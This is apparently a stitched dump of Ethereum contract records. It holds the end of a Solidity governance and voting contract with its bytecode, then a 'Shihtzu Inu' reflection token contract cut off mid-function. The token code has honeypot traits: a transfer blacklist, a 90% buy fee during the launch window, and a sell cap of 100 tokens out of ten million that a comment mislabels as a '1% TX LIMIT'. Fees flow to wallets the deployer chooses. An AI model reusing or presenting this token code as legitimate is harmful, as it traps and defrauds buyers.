*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @dev Contract module that helps prevent reentrant calls to a function.
*
* Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier
* available, which can be applied to functions to make sure there are no nested
* (reentrant) calls to them.
*
* Note that because there is a single `nonReentrant` guard, functions marked as
* `nonReentrant` may not call one another. This can be worked around by making
* those functions `private`, and then adding `external` `nonReentrant` entry
* points to them.
*
* TIP: If you would like to learn more about reentrancy and alternative ways
* to protect against it, check out our blog post
* https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul].
*/
abstract contract ReentrancyGuard {
// Booleans are more expensive than uint256 or any type that takes up a full
// word because each write operation emits an extra SLOAD to first read the
// slot's contents, replace the bits taken up by the boolean, and then write
// back. This is the compiler's defense against contract upgrades and
// pointer aliasing, and it cannot be disabled.
// The values being non-zero value makes deployment a bit more expensive,
// but in exchange the refund on every call to nonReentrant will be lower in
// amount. Since refunds are capped to a percentage of the total
// transaction's gas, it is best to keep them low in cases like this one, to
// increase the likelihood of the full refund coming into effect.
uint256 private constant _NOT_ENTERED = 1;
uint256 private constant _ENTERED = 2;
uint256 private _status;
constructor () {
_status = _NOT_ENTERED;
}
/**
* @dev Prevents a contract from calling itself, directly or indirectly.
* Calling a `nonReentrant` function from another `nonReentrant`
* function is not supported. It is possible to prevent this from happening
* by making the `nonReentrant` function external, and make it call a
* `private` function that does the actual work.
*/
modifier nonReentrant() {
// On the first call to nonReentrant, _notEntered will be true
require(_status != _ENTERED, "ReentrancyGuard: reentrant call");
// Any calls to nonReentrant after this point will fail
_status = _ENTERED;
_;
// By storing the original value once again, a refund is triggered (see
// https://eips.ethereum.org/EIPS/eip-2200)
_status = _NOT_ENTERED;
}
}
contract Governance is ReentrancyGuard {
uint constant public governance_challenging_period = 10 days;
uint constant public governance_freeze_period = 30 days;
address public votingTokenAddress;
address public governedContractAddress;
mapping(address => uint) public balances;
VotedValue[] public votedValues;
mapping(string => VotedValue) public votedValuesMap;
constructor(address _governedContractAddress, address _votingTokenAddress){
init(_governedContractAddress, _votingTokenAddress);
}
function init(address _governedContractAddress, address _votingTokenAddress) public {
require(governedContractAddress == address(0), "governance already initialized");
governedContractAddress = _governedContractAddress;
votingTokenAddress = _votingTokenAddress;
}
function addressBelongsToGovernance(address addr) public view returns (bool) {
for (uint i = 0; i < votedValues.length; i++)
if (address(votedValues[i]) == addr)
return true;
return false;
}
function isUntiedFromAllVotes(address addr) public view returns (bool) {
for (uint i = 0; i < votedValues.length; i++)
if (votedValues[i].hasVote(addr))
return false;
return true;
}
function addVotedValue(string memory name, VotedValue votedValue) external {
require(msg.sender == governedContractAddress, "not authorized");
votedValues.push(votedValue);
votedValuesMap[name] = votedValue;
}
// deposit
function deposit(uint amount) payable external {
deposit(msg.sender, amount);
}
function deposit(address from, uint amount) nonReentrant payable public {
require(from == msg.sender || addressBelongsToGovernance(msg.sender), "not allowed");
if (votingTokenAddress == address(0))
require(msg.value == amount, "wrong amount received");
else {
require(msg.value == 0, "don't send ETH");
require(IERC20(votingTokenAddress).transferFrom(from, address(this), amount), "failed to pull gov deposit");
}
balances[from] += amount;
}
// withdrawal functions
function withdraw() external {
withdraw(balances[msg.sender]);
}
function withdraw(uint amount) nonReentrant public {
require(amount > 0, "zero withdrawal requested");
require(amount <= balances[msg.sender], "not enough balance");
require(isUntiedFromAllVotes(msg.sender), "some votes not removed yet");
balances[msg.sender] -= amount;
if (votingTokenAddress == address(0))
payable(msg.sender).transfer(amount);
else
require(IERC20(votingTokenAddress).transfer(msg.sender, amount), "failed to withdraw gov deposit");
}
}
abstract contract VotedValue is ReentrancyGuard {
Governance public governance;
uint public challenging_period_start_ts;
mapping(address => bool) public hasVote;
constructor(Governance _governance){
governance = _governance;
}
function checkVoteChangeLock() view public {
require(challenging_period_start_ts + governance.governance_challenging_period() + governance.governance_freeze_period() < block.timestamp, "you cannot change your vote yet");
}
function checkChallengingPeriodExpiry() view public {
require(block.timestamp > challenging_period_start_ts + governance.governance_challenging_period(), "challenging period not expired yet");
}
}
contract VotedValueUintArray is VotedValue {
function(uint[] memory) external validationCallback;
function(uint[] memory) external commitCallback;
uint[] public leader;
uint[] public current_value;
mapping(address => uint[]) public choices;
mapping(bytes32 => uint) public votesByValue;
mapping(bytes32 => mapping(address => uint)) public votesByValueAddress;
constructor() VotedValue(Governance(address(0))) {}
// constructor(Governance _governance, uint[] memory initial_value, function(uint[] memory) external _validationCallback, function(uint[] memory) external _commitCallback) VotedValue(_governance) {
// leader = initial_value;
// current_value = initial_value;
// validationCallback = _validationCallback;
// commitCallback = _commitCallback;
// }
function init(Governance _governance, uint[] memory initial_value, function(uint[] memory) external _validationCallback, function(uint[] memory) external _commitCallback) external {
require(address(governance) == address(0), "already initialized");
governance = _governance;
leader = initial_value;
current_value = initial_value;
validationCallback = _validationCallback;
commitCallback = _commitCallback;
}
function equal(uint[] memory a1, uint[] memory a2) public pure returns (bool) {
if (a1.length != a2.length)
return false;
for (uint i = 0; i < a1.length; i++)
if (a1[i] != a2[i])
return false;
return true;
}
function getKey(uint[] memory a) public pure returns (bytes32){
return keccak256(abi.encodePacked(a));
}
function vote(uint[] memory value) nonReentrant external {
_vote(value);
}
function voteAndDeposit(uint[] memory value, uint amount) nonReentrant payable external {
governance.deposit{value: msg.value}(msg.sender, amount);
_vote(value);
}
function _vote(uint[] memory value) private {
validationCallback(value);
uint[] storage prev_choice = choices[msg.sender];
bool hadVote = hasVote[msg.sender];
if (equal(prev_choice, leader))
checkVoteChangeLock();
// remove one's vote from the previous choice first
if (hadVote)
removeVote(prev_choice);
// then, add it to the new choice, if any
bytes32 key = getKey(value);
uint balance = governance.balances(msg.sender);
require(balance > 0, "no balance");
votesByValue[key] += balance;
votesByValueAddress[key][msg.sender] = balance;
choices[msg.sender] = value;
hasVote[msg.sender] = true;
// check if the leader has just changed
if (votesByValue[key] > votesByValue[getKey(leader)]){
leader = value;
challenging_period_start_ts = block.timestamp;
}
}
function unvote() external {
if (!hasVote[msg.sender])
return;
uint[] storage prev_choice = choices[msg.sender];
if (equal(prev_choice, leader))
checkVoteChangeLock();
removeVote(prev_choice);
delete choices[msg.sender];
delete hasVote[msg.sender];
}
function removeVote(uint[] memory value) internal {
bytes32 key = getKey(value);
votesByValue[key] -= votesByValueAddress[key][msg.sender];
votesByValueAddress[key][msg.sender] = 0;
}
function commit() nonReentrant external {
require(!equal(leader, current_value), "already equal to leader");
checkChallengingPeriodExpiry();
current_value = leader;
commitCallback(leader);
}
}
|
0x6080604052600436106100fe5760003560e01c8063601cdb0811610095578063ce11f2bb11610064578063ce11f2bb146102a7578063df75ab64146102c7578063e7da4c7e146102ff578063ed9df00f1461031f578063f463891c1461033257600080fd5b8063601cdb081461023d57806362df40ea1461025d57806373a6bb1b14610272578063bfb723b61461029257600080fd5b80633174b689116100d15780633174b689146101ac5780633c7a3aff146101c357806342569421146101d85780635aa6e6751461020557600080fd5b80630508bcb4146101035780631360d05f146101365780632243b09a1461015657806327efa0aa14610196575b600080fd5b34801561010f57600080fd5b5061012361011e3660046111fa565b610352565b6040519081526020015b60405180910390f35b34801561014257600080fd5b50610123610151366004611114565b610373565b34801561016257600080fd5b506101866101713660046110c4565b60036020526000908152604090205460ff1681565b604051901515815260200161012d565b3480156101a257600080fd5b5061012360025481565b3480156101b857600080fd5b506101c16103a3565b005b3480156101cf57600080fd5b506101c161050b565b3480156101e457600080fd5b506101236101f33660046111fa565b60096020526000908152604090205481565b34801561021157600080fd5b50600154610225906001600160a01b031681565b6040516001600160a01b03909116815260200161012d565b34801561024957600080fd5b506101236102583660046111fa565b6106be565b34801561026957600080fd5b506101c16106ce565b34801561027e57600080fd5b5061012361028d3660046110e8565b610836565b34801561029e57600080fd5b506101c1610867565b3480156102b357600080fd5b506101c16102c2366004611114565b610953565b3480156102d357600080fd5b506101236102e2366004611213565b600a60209081526000928352604080842090915290825290205481565b34801561030b57600080fd5b5061018661031a366004611151565b61098c565b6101c161032d3660046111b5565b610a0c565b34801561033e57600080fd5b506101c161034d366004611243565b610aac565b6006818154811061036257600080fd5b600091825260209091200154905081565b600081604051602001610386919061130b565b604051602081830303815290604052805190602001209050919050565b3360009081526003602052604090205460ff166103bc57565b3360009081526008602090815260409182902080548351818402810184019094528084529092610474929091849183018282801561041957602002820191906000526020600020905b815481526020019060010190808311610405575b5050505050600680548060200260200160405190810160405280929190818152602001828054801561046a57602002820191906000526020600020905b815481526020019060010190808311610456575b505050505061098c565b15610481576104816106ce565b6104d9818054806020026020016040519081016040528092919081815260200182805480156104cf57602002820191906000526020600020905b8154815260200190600101908083116104bb575b5050505050610b87565b3360009081526008602052604081206104f191610f62565b50336000908152600360205260409020805460ff19169055565b600260005414156105375760405162461bcd60e51b815260040161052e906113c0565b60405180910390fd5b600260005560068054604080516020808402820181019092528281526105e3939092909183018282801561058a57602002820191906000526020600020905b815481526020019060010190808311610576575b5050505050600780548060200260200160405190810160405280929190818152602001828054801561046a576020028201919060005260206000209081548152602001906001019080831161045657505050505061098c565b156106305760405162461bcd60e51b815260206004820152601760248201527f616c726561647920657175616c20746f206c6561646572000000000000000000604482015260640161052e565b610638610867565b6006805461064891600791610f83565b506005546040516001600160e01b031960e083901b1681526001600160a01b03602083901c169163ffffffff169061068590600690600401611385565b600060405180830381600087803b15801561069f57600080fd5b505af11580156106b3573d6000803e3d6000fd5b505060016000555050565b6007818154811061036257600080fd5b6001546040805163055a4e9160e51b8152905142926001600160a01b03169163ab49d220916004808301926020929190829003018186803b15801561071257600080fd5b505afa158015610726573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061074a91906112f2565b600160009054906101000a90046001600160a01b03166001600160a01b031663623148336040518163ffffffff1660e01b815260040160206040518083038186803b15801561079857600080fd5b505afa1580156107ac573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107d091906112f2565b6002546107dd91906113f7565b6107e791906113f7565b106108345760405162461bcd60e51b815260206004820152601f60248201527f796f752063616e6e6f74206368616e676520796f757220766f74652079657400604482015260640161052e565b565b6008602052816000526040600020818154811061085257600080fd5b90600052602060002001600091509150505481565b600160009054906101000a90046001600160a01b03166001600160a01b031663623148336040518163ffffffff1660e01b815260040160206040518083038186803b1580156108b557600080fd5b505afa1580156108c9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108ed91906112f2565b6002546108fa91906113f7565b42116108345760405162461bcd60e51b815260206004820152602260248201527f6368616c6c656e67696e6720706572696f64206e6f7420657870697265642079604482015261195d60f21b606482015260840161052e565b600260005414156109765760405162461bcd60e51b815260040161052e906113c0565b600260005561098481610bed565b506001600055565b6000815183511461099f57506000610a06565b60005b8351811015610a00578281815181106109bd576109bd611457565b60200260200101518482815181106109d7576109d7611457565b6020026020010151146109ee576000915050610a06565b806109f881611426565b9150506109a2565b50600190505b92915050565b60026000541415610a2f5760405162461bcd60e51b815260040161052e906113c0565b60026000556001546040516311f9fbc960e21b8152336004820152602481018390526001600160a01b03909116906347e7ef249034906044016000604051808303818588803b158015610a8157600080fd5b505af1158015610a95573d6000803e3d6000fd5b5050505050610aa382610bed565b50506001600055565b6001546001600160a01b031615610afb5760405162461bcd60e51b8152602060048201526013602482015272185b1c9958591e481a5b9a5d1a585b1a5e9959606a1b604482015260640161052e565b600180546001600160a01b0319166001600160a01b0388161790558451610b29906006906020880190610fd3565b508451610b3d906007906020880190610fd3565b5060048054640100000000600160c01b03602096871b811663ffffffff968716176001600160c01b031992831617909255600580549490961b909116919093161791161790555050565b6000610b9282610373565b6000818152600a602090815260408083203384528252808320548484526009909252822080549394509092909190610bcb90849061140f565b90915550506000908152600a6020908152604080832033845290915281205550565b600480546040516001600160e01b031960e083901b1681526001600160a01b03602083901c169263ffffffff90921691610c2991859101611341565b600060405180830381600087803b158015610c4357600080fd5b505af1158015610c57573d6000803e3d6000fd5b5050336000908152600860209081526040808320600383529281902054835482518185028101850190935280835293955060ff169350610d1c9290918591908301828280156104195760200282019190600052602060002090815481526020019060010190808311610405575050505050600680548060200260200160405190810160405280929190818152602001828054801561046a576020028201919060005260206000209081548152602001906001019080831161045657505050505061098c565b15610d2957610d296106ce565b8015610d8557610d85828054806020026020016040519081016040528092919081815260200182805480156104cf57602002820191906000526020600020908154815260200190600101908083116104bb575050505050610b87565b6000610d9084610373565b6001546040516327e235e360e01b81523360048201529192506000916001600160a01b03909116906327e235e39060240160206040518083038186803b158015610dd957600080fd5b505afa158015610ded573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e1191906112f2565b905060008111610e505760405162461bcd60e51b815260206004820152600a6024820152696e6f2062616c616e636560b01b604482015260640161052e565b60008281526009602052604081208054839290610e6e9084906113f7565b90915550506000828152600a602090815260408083203384528252808320849055600882529091208651610ea492880190610fd3565b50336000908152600360209081526040808320805460ff191660011790556006805482518185028101850190935280835260099493610f1993929190830182828015610f0f57602002820191906000526020600020905b815481526020019060010190808311610efb575b5050505050610373565b81526020019081526020016000205460096000848152602001908152602001600020541115610f5b578451610f55906006906020880190610fd3565b50426002555b5050505050565b5080546000825590600052602060002090810190610f80919061100e565b50565b828054828255906000526020600020908101928215610fc35760005260206000209182015b82811115610fc3578254825591600101919060010190610fa8565b50610fcf92915061100e565b5090565b828054828255906000526020600020908101928215610fc3579160200282015b82811115610fc3578251825591602001919060010190610ff3565b5b80821115610fcf576000815560010161100f565b600082601f83011261103457600080fd5b8135602067ffffffffffffffff808311156110515761105161146d565b8260051b604051601f19603f830116810181811084821117156110765761107661146d565b6040528481528381019250868401828801850189101561109557600080fd5b600092505b858310156110b857803584529284019260019290920191840161109a565b50979650505050505050565b6000602082840312156110d657600080fd5b81356110e181611483565b9392505050565b600080604083850312156110fb57600080fd5b823561110681611483565b946020939093013593505050565b60006020828403121561112657600080fd5b813567ffffffffffffffff81111561113d57600080fd5b61114984828501611023565b949350505050565b6000806040838503121561116457600080fd5b823567ffffffffffffffff8082111561117c57600080fd5b61118886838701611023565b9350602085013591508082111561119e57600080fd5b506111ab85828601611023565b9150509250929050565b600080604083850312156111c857600080fd5b823567ffffffffffffffff8111156111df57600080fd5b6111eb85828601611023565b95602094909401359450505050565b60006020828403121561120c57600080fd5b5035919050565b6000806040838503121561122657600080fd5b82359150602083013561123881611483565b809150509250929050565b6000806000806000806080878903121561125c57600080fd5b863561126781611483565b9550602087013567ffffffffffffffff81111561128357600080fd5b61128f89828a01611023565b955050604087013567ffffffffffffffff1980821682146112af57600080fd5b63ffffffff8260601c9650808360401c16955060608a0135925081831683146112d757600080fd5b8260601c9450808360401c1693505050509295509295509295565b60006020828403121561130457600080fd5b5051919050565b815160009082906020808601845b8381101561133557815185529382019390820190600101611319565b50929695505050505050565b6020808252825182820181905260009190848201906040850190845b818110156113795783518352928401929184019160010161135d565b50909695505050505050565b6020808252825482820181905260008481528281209092916040850190845b81811015611379578354835260019384019392850192016113a4565b6020808252601f908201527f5265656e7472616e637947756172643a207265656e7472616e742063616c6c00604082015260600190565b6000821982111561140a5761140a611441565b500190565b60008282101561142157611421611441565b500390565b600060001982141561143a5761143a611441565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b0381168114610f8057600080fdfea2646970667358221220a68c02d544f560360b1b01da7bd6a8a260fd4d139b62839f9b91399b38de458664736f6c63430008060033
|
{"success": true, "error": null, "results": {}}
| 4,495 |
0xb5661f3589d9a36294cf8f574178d661dba3c90d
|
/**
https://t.me/ShihtzuInuToken
*/
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if(a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract SHIHTZU is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private _isExcluded;
address[] private _excluded;
mapping (address => bool) private _isBlackListedBot;
address[] private _blackListedBots;
mapping (address => User) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 10000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private constant _name = unicode"Shihtzu Inu";
string private constant _symbol = unicode"Shihtzu";
uint8 private constant _decimals = 9;
uint256 private _taxFee = 3;
uint256 private _inuFee = 2;
uint256 private _launchTime;
uint256 private _previousTaxFee = _taxFee;
uint256 private _previousinuFee = _inuFee;
uint256 private _BuyFee = _inuFee;
uint256 private _SellFee = _inuFee;
uint256 private _maxBuyAmount;
uint256 private _maxSellAmount;
address payable private _FeeAddress;
address payable private _FeeAddress2;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private _cooldownEnabled = true;
bool private inSwap = false;
uint256 private buyLimitEnd;
struct User {
uint256 buy;
uint256 sell;
bool exists;
}
event MaxBuyAmountUpdated(uint _maxBuyAmount);
event CooldownEnabledUpdated(bool _cooldown);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor (address payable FeeAddress, address payable FeeAddress2, address payable FeeAddress3) {
_FeeAddress = FeeAddress;
_FeeAddress2 = FeeAddress2;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[FeeAddress] = true;
_isExcludedFromFee[FeeAddress2] = true;
_isExcludedFromFee[FeeAddress3] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if(_taxFee == 0 && _inuFee == 0) return;
_previousTaxFee = _taxFee;
_previousinuFee = _inuFee;
_taxFee = 0;
_inuFee = 0;
}
function restoreAllFee() private {
_taxFee = _previousTaxFee;
_inuFee = _previousinuFee;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(!_isBlackListedBot[to], "You have no power here!");
require(!_isBlackListedBot[msg.sender], "You have no power here!");
if(from != owner() && to != owner()) {
if(_cooldownEnabled) {
if(!cooldown[msg.sender].exists) {
cooldown[msg.sender] = User(0,0,true);
}
}
// buy
if(from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to]) {
require(tradingOpen, "Trading not yet enabled.");
require(amount <= _maxBuyAmount);
_taxFee = 0;
_inuFee = _BuyFee;
if(_cooldownEnabled) {
if(buyLimitEnd > block.timestamp) {
_inuFee = 90;
}
}
}
// sell
if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) {
require(amount <= _maxSellAmount);
_taxFee = 0;
_inuFee = _SellFee;
}
uint256 contractTokenBalance = balanceOf(address(this));
if(!inSwap && from != uniswapV2Pair && tradingOpen) {
if(contractTokenBalance > 0) {
swapTokensForEth(contractTokenBalance);
}
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
takeFee = false;
}
_tokenTransfer(from,to,amount,takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_FeeAddress.transfer(amount.div(2));
_FeeAddress2.transfer(amount.div(2));
}
function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private {
if(!takeFee)
removeAllFee();
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && !_isExcluded[recipient]) {
_transferStandard(sender, recipient, amount);
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
_transferBothExcluded(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
if(!takeFee)
restoreAllFee();
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _inuFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 InuFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(InuFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if(rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function addLiquidity() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
_maxBuyAmount = 10000000 * 10**9; // TX LIMIT
_maxSellAmount = 100 * 10**9; // 1% TX LIMIT
_launchTime = block.timestamp;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function openTrading() public onlyOwner {
tradingOpen = true;
